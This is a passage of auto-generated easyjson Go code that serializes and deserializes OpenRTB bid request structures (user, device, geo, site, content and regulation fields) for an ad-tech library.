out.RawString(prefix) { out.RawByte('[') for v23, v24 := range in.BlockedAdvertisersByMarketID { if v23 > 0 { out.RawByte(',') } out.String(string(v24)) } out.RawByte(']') } } if in.Source != nil { const prefix string = ",\"source\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb5(out, *in.Source) } if in.Regulation != nil { const prefix string = ",\"regs\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb6(out, *in.Regulation) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" out.RawString(prefix) out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v BidRequest) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v BidRequest) MarshalEasyJSON(w *jwriter.Writer) { easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *BidRequest) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *BidRequest) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb(l, v) } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb6(in *jlexer.Lexer, out *Regulation) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "coppa": if in.IsNull() { in.Skip() out.IsCoppaCompliant = nil } else { if out.IsCoppaCompliant == nil { out.IsCoppaCompliant = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.IsCoppaCompliant).UnmarshalJSON(data)) } } case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb6(out *jwriter.Writer, in Regulation) { out.RawByte('{') first := true _ = first if in.IsCoppaCompliant != nil { const prefix string = ",\"coppa\":" first = false out.RawString(prefix[1:]) out.Raw((*in.IsCoppaCompliant).MarshalJSON()) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb5(in *jlexer.Lexer, out *Source) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "fd": out.FD = int8(in.Int8()) case "tid": out.TID = string(in.String()) case "pchain": out.PChain = string(in.String()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Ext).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb5(out *jwriter.Writer, in Source) { out.RawByte('{') first := true _ = first if in.FD != 0 { const prefix string = ",\"fd\":" first = false out.RawString(prefix[1:]) out.Int8(int8(in.FD)) } if in.TID != "" { const prefix string = ",\"tid\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.TID)) } if in.PChain != "" { const prefix string = ",\"pchain\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.PChain)) } if len(in.Ext) != 0 { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.Ext).MarshalJSON()) } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb4(in *jlexer.Lexer, out *User) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "buyeruid": out.BuyerID = string(in.String()) case "yob": out.BirthYear = int(in.Int()) case "gender": out.Gender = Gender(in.String()) case "keywords": out.Keywords = string(in.String()) case "customdata": out.CustomData = string(in.String()) case "geo": if in.IsNull() { in.Skip() out.Geo = nil } else { if out.Geo == nil { out.Geo = new(Geo) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb7(in, out.Geo) } case "data": if in.IsNull() { in.Skip() out.Data = nil } else { in.Delim('[') if out.Data == nil { if !in.IsDelim(']') { out.Data = make([]Data, 0, 0) } else { out.Data = []Data{} } } else { out.Data = (out.Data)[:0] } for !in.IsDelim(']') { var v25 Data easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb8(in, &v25) out.Data = append(out.Data, v25) in.WantComma() } in.Delim(']') } case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb4(out *jwriter.Writer, in User) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.BuyerID != "" { const prefix string = ",\"buyeruid\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.BuyerID)) } if in.BirthYear != 0 { const prefix string = ",\"yob\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.BirthYear)) } if in.Gender != "" { const prefix string = ",\"gender\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Gender)) } if in.Keywords != "" { const prefix string = ",\"keywords\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Keywords)) } if in.CustomData != "" { const prefix string = ",\"customdata\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.CustomData)) } if in.Geo != nil { const prefix string = ",\"geo\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb7(out, *in.Geo) } if len(in.Data) != 0 { const prefix string = ",\"data\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v26, v27 := range in.Data { if v26 > 0 { out.RawByte(',') } easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb8(out, v27) } out.RawByte(']') } } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb8(in *jlexer.Lexer, out *Data) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "segment": if in.IsNull() { in.Skip() out.Segment = nil } else { in.Delim('[') if out.Segment == nil { if !in.IsDelim(']') { out.Segment = make([]*Segment, 0, 8) } else { out.Segment = []*Segment{} } } else { out.Segment = (out.Segment)[:0] } for !in.IsDelim(']') { var v28 *Segment if in.IsNull() { in.Skip() v28 = nil } else { if v28 == nil { v28 = new(Segment) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb9(in, v28) } out.Segment = append(out.Segment, v28) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb8(out *jwriter.Writer, in Data) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if len(in.Segment) != 0 { const prefix string = ",\"segment\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v29, v30 := range in.Segment { if v29 > 0 { out.RawByte(',') } if v30 == nil { out.RawString("null") } else { easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb9(out, *v30) } } out.RawByte(']') } } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb9(in *jlexer.Lexer, out *Segment) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "value": out.Value = string(in.String()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb9(out *jwriter.Writer, in Segment) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if in.Value != "" { const prefix string = ",\"value\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Value)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb7(in *jlexer.Lexer, out *Geo) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "lat": out.Latitude = float64(in.Float64()) case "lon": out.Longitude = float64(in.Float64()) case "type": out.Type = LocationType(in.Int()) case "accuracy": out.Accuracy = int(in.Int()) case "lastfix": out.LastFix = int(in.Int()) case "ipservice": out.IPService = IPLocationService(in.Int()) case "country": out.Country = string(in.String()) case "region": out.Region = string(in.String()) case "regionfips104": out.RegionFIPS104 = string(in.String()) case "metro": out.Metro = string(in.String()) case "city": out.City = string(in.String()) case "zip": out.ZipCode = string(in.String()) case "utcoffset": out.UTCOffset = int(in.Int()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb7(out *jwriter.Writer, in Geo) { out.RawByte('{') first := true _ = first if in.Latitude != 0 { const prefix string = ",\"lat\":" first = false out.RawString(prefix[1:]) out.Float64(float64(in.Latitude)) } if in.Longitude != 0 { const prefix string = ",\"lon\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Float64(float64(in.Longitude)) } if in.Type != 0 { const prefix string = ",\"type\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Type)) } if in.Accuracy != 0 { const prefix string = ",\"accuracy\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Accuracy)) } if in.LastFix != 0 { const prefix string = ",\"lastfix\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.LastFix)) } if in.IPService != 0 { const prefix string = ",\"ipservice\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.IPService)) } if in.Country != "" { const prefix string = ",\"country\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Country)) } if in.Region != "" { const prefix string = ",\"region\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Region)) } if in.RegionFIPS104 != "" { const prefix string = ",\"regionfips104\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.RegionFIPS104)) } if in.Metro != "" { const prefix string = ",\"metro\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Metro)) } if in.City != "" { const prefix string = ",\"city\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.City)) } if in.ZipCode != "" { const prefix string = ",\"zip\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.ZipCode)) } if in.UTCOffset != 0 { const prefix string = ",\"utcoffset\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.UTCOffset)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb3(in *jlexer.Lexer, out *Device) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "ua": out.BrowserUserAgent = string(in.String()) case "geo": if in.IsNull() { in.Skip() out.Geo = nil } else { if out.Geo == nil { out.Geo = new(Geo) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb7(in, out.Geo) } case "dnt": if in.IsNull() { in.Skip() out.HasDoNotTrack = nil } else { if out.HasDoNotTrack == nil { out.HasDoNotTrack = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.HasDoNotTrack).UnmarshalJSON(data)) } } case "lmt": if in.IsNull() { in.Skip() out.HasLimitedAdTracking = nil } else { if out.HasLimitedAdTracking == nil { out.HasLimitedAdTracking = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.HasLimitedAdTracking).UnmarshalJSON(data)) } } case "ip": out.IP = string(in.String()) case "ipv6": out.IPv6 = string(in.String()) case "devicetype": out.Type = DeviceType(in.Int()) case "make": out.Make = string(in.String()) case "model": out.Model = string(in.String()) case "os": if data := in.Raw(); in.Ok() { in.AddError((out.OS).UnmarshalJSON(data)) } case "osv": out.OSVersion = OSVersion(in.String()) case "hwv": out.HardwareVersion = string(in.String()) case "h": out.Height = int(in.Int()) case "w": out.Width = int(in.Int()) case "ppi": out.PPI = int(in.Int()) case "pxratio": out.PixelRatio = float64(in.Float64()) case "js": if in.IsNull() { in.Skip() out.SupportsJavaScript = nil } else { if out.SupportsJavaScript == nil { out.SupportsJavaScript = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.SupportsJavaScript).UnmarshalJSON(data)) } } case "geofetch": if in.IsNull() { in.Skip() out.GeoFetch = nil } else { if out.GeoFetch == nil { out.GeoFetch = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.GeoFetch).UnmarshalJSON(data)) } } case "flashver": out.FlashVersion = string(in.String()) case "language": out.Language = string(in.String()) case "carrier": out.Carrier = string(in.String()) case "mccmnc": out.MCCMNC = string(in.String()) case "connectiontype": out.ConnectionType = ConnectionType(in.Int()) case "ifa": out.IFA = string(in.String()) case "didsha1": out.HardwareIDSHA1 = string(in.String()) case "didmd5": out.HardwareIDMD5 = string(in.String()) case "dpidsha1": out.PlatformIDSHA1 = string(in.String()) case "dpidmd5": out.PlatformIDMD5 = string(in.String()) case "macsha1": out.MACSHA1 = string(in.String()) case "macmd5": out.MACMD5 = string(in.String()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb3(out *jwriter.Writer, in Device) { out.RawByte('{') first := true _ = first if in.BrowserUserAgent != "" { const prefix string = ",\"ua\":" first = false out.RawString(prefix[1:]) out.String(string(in.BrowserUserAgent)) } if in.Geo != nil { const prefix string = ",\"geo\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb7(out, *in.Geo) } if in.HasDoNotTrack != nil { const prefix string = ",\"dnt\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.HasDoNotTrack).MarshalJSON()) } if in.HasLimitedAdTracking != nil { const prefix string = ",\"lmt\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.HasLimitedAdTracking).MarshalJSON()) } if in.IP != "" { const prefix string = ",\"ip\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.IP)) } if in.IPv6 != "" { const prefix string = ",\"ipv6\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.IPv6)) } if in.Type != 0 { const prefix string = ",\"devicetype\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Type)) } if in.Make != "" { const prefix string = ",\"make\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Make)) } if in.Model != "" { const prefix string = ",\"model\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Model)) } if in.OS != "" { const prefix string = ",\"os\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.OS)) } if in.OSVersion != "" { const prefix string = ",\"osv\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.OSVersion)) } if in.HardwareVersion != "" { const prefix string = ",\"hwv\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.HardwareVersion)) } if in.Height != 0 { const prefix string = ",\"h\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Height)) } if in.Width != 0 { const prefix string = ",\"w\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Width)) } if in.PPI != 0 { const prefix string = ",\"ppi\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.PPI)) } if in.PixelRatio != 0 { const prefix string = ",\"pxratio\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Float64(float64(in.PixelRatio)) } if in.SupportsJavaScript != nil { const prefix string = ",\"js\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.SupportsJavaScript).MarshalJSON()) } if in.GeoFetch != nil { const prefix string = ",\"geofetch\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.GeoFetch).MarshalJSON()) } if in.FlashVersion != "" { const prefix string = ",\"flashver\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.FlashVersion)) } if in.Language != "" { const prefix string = ",\"language\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Language)) } if in.Carrier != "" { const prefix string = ",\"carrier\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Carrier)) } if in.MCCMNC != "" { const prefix string = ",\"mccmnc\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.MCCMNC)) } if in.ConnectionType != 0 { const prefix string = ",\"connectiontype\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.ConnectionType)) } if in.IFA != "" { const prefix string = ",\"ifa\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.IFA)) } if in.HardwareIDSHA1 != "" { const prefix string = ",\"didsha1\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.HardwareIDSHA1)) } if in.HardwareIDMD5 != "" { const prefix string = ",\"didmd5\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.HardwareIDMD5)) } if in.PlatformIDSHA1 != "" { const prefix string = ",\"dpidsha1\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.PlatformIDSHA1)) } if in.PlatformIDMD5 != "" { const prefix string = ",\"dpidmd5\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.PlatformIDMD5)) } if in.MACSHA1 != "" { const prefix string = ",\"macsha1\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.MACSHA1)) } if in.MACMD5 != "" { const prefix string = ",\"macmd5\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.MACMD5)) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb2(in *jlexer.Lexer, out *Site) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "domain": out.Domain = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Cat = nil } else { in.Delim('[') if out.Cat == nil { if !in.IsDelim(']') { out.Cat = make([]string, 0, 4) } else { out.Cat = []string{} } } else { out.Cat = (out.Cat)[:0] } for !in.IsDelim(']') { var v31 string v31 = string(in.String()) out.Cat = append(out.Cat, v31) in.WantComma() } in.Delim(']') } case "sectioncat": if in.IsNull() { in.Skip() out.SectionCat = nil } else { in.Delim('[') if out.SectionCat == nil { if !in.IsDelim(']') { out.SectionCat = make([]string, 0, 4) } else { out.SectionCat = []string{} } } else { out.SectionCat = (out.SectionCat)[:0] } for !in.IsDelim(']') { var v32 string v32 = string(in.String()) out.SectionCat = append(out.SectionCat, v32) in.WantComma() } in.Delim(']') } case "pagecat": if in.IsNull() { in.Skip() out.PageCat = nil } else { in.Delim('[') if out.PageCat == nil { if !in.IsDelim(']') { out.PageCat = make([]string, 0, 4) } else { out.PageCat = []string{} } } else { out.PageCat = (out.PageCat)[:0] } for !in.IsDelim(']') { var v33 string v33 = string(in.String()) out.PageCat = append(out.PageCat, v33) in.WantComma() } in.Delim(']') } case "page": out.Page = string(in.String()) case "ref": out.Ref = string(in.String()) case "search": out.Search = string(in.String()) case "mobile": if in.IsNull() { in.Skip() out.Mobile = nil } else { if out.Mobile == nil { out.Mobile = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.Mobile).UnmarshalJSON(data)) } } case "privacypolicy": if in.IsNull() { in.Skip() out.PrivacyPolicy = nil } else { if out.PrivacyPolicy == nil { out.PrivacyPolicy = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.PrivacyPolicy).UnmarshalJSON(data)) } } case "publisher": if in.IsNull() { in.Skip() out.Publisher = nil } else { if out.Publisher == nil { out.Publisher = new(Publisher) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb10(in, out.Publisher) } case "content": if in.IsNull() { in.Skip() out.Content = nil } else { if out.Content == nil { out.Content = new(Content) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb11(in, out.Content) } case "keywords": out.Keywords = string(in.String()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb2(out *jwriter.Writer, in Site) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if in.Domain != "" { const prefix string = ",\"domain\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Domain)) } if len(in.Cat) != 0 { const prefix string = ",\"cat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v34, v35 := range in.Cat { if v34 > 0 { out.RawByte(',') } out.String(string(v35)) } out.RawByte(']') } } if len(in.SectionCat) != 0 { const prefix string = ",\"sectioncat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v36, v37 := range in.SectionCat { if v36 > 0 { out.RawByte(',') } out.String(string(v37)) } out.RawByte(']') } } if len(in.PageCat) != 0 { const prefix string = ",\"pagecat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v38, v39 := range in.PageCat { if v38 > 0 { out.RawByte(',') } out.String(string(v39)) } out.RawByte(']') } } if in.Page != "" { const prefix string = ",\"page\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Page)) } if in.Ref != "" { const prefix string = ",\"ref\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Ref)) } if in.Search != "" { const prefix string = ",\"search\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Search)) } if in.Mobile != nil { const prefix string = ",\"mobile\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.Mobile).MarshalJSON()) } if in.PrivacyPolicy != nil { const prefix string = ",\"privacypolicy\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.PrivacyPolicy).MarshalJSON()) } if in.Publisher != nil { const prefix string = ",\"publisher\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb10(out, *in.Publisher) } if in.Content != nil { const prefix string = ",\"content\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb11(out, *in.Content) } if in.Keywords != "" { const prefix string = ",\"keywords\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Keywords)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb11(in *jlexer.Lexer, out *Content) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "episode": if in.IsNull() { in.Skip() out.Episode = nil } else { if out.Episode == nil { out.Episode = new(int) } *out.Episode = int(in.Int()) } case "title": out.Title = string(in.String()) case "series": out.Series = string(in.String()) case "season": out.Season = string(in.String()) case "artist": out.Artist = string(in.String()) case "genre": out.Genre = string(in.String()) case "album": out.Album = string(in.String()) case "isrc": out.ISRC = string(in.String()) case "producer": if in.IsNull() { in.Skip() out.Producer = nil } else { if out.Producer == nil { out.Producer = new(Producer) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb12(in, out.Producer) } case "url": out.URL = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Cat = nil } else { in.Delim('[') if out.Cat == nil { if !in.IsDelim(']') { out.Cat = make([]string, 0, 4) } else { out.Cat = []string{} } } else { out.Cat = (out.Cat)[:0] } for !in.IsDelim(']') { var 